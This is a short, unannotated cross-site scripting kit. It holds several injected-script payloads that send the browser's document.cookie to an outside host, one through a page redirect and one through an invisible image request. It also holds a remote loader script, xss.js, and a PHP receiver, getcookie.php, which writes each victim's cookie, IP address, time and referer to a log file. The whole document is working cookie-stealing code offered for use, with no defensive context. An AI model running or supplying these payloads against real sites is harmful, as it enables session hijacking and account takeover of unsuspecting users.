javascript
<script>alert(document.cookie);</script>
<script>document.location.replace('http://www.20060801.com/xss/getcookie.php?c='+document.cookie);</script>
document.write('<img
src="http://www.20060801.com/xss/getcookie.php?c='+document.cookie+'"
width=0 height=0 border=0 />');
<script
src=http://www.20060801.com/xss/xss.js></script>
xss.js
document.write('<img
src="http://www.20060801.com/xss/getcookie.php?c='+document.cookie+'"
width=0 height=0 border=0 />');
getcookie.php
<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$time=date("j F, Y, g:i a");
$referer=getenv ('HTTP_REFERER');
$fp = fopen('victim.txt', 'a');
fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: ' .$time. '<br> Referer: '.$referer.'<br><br><br>');
fclose($fp);
?>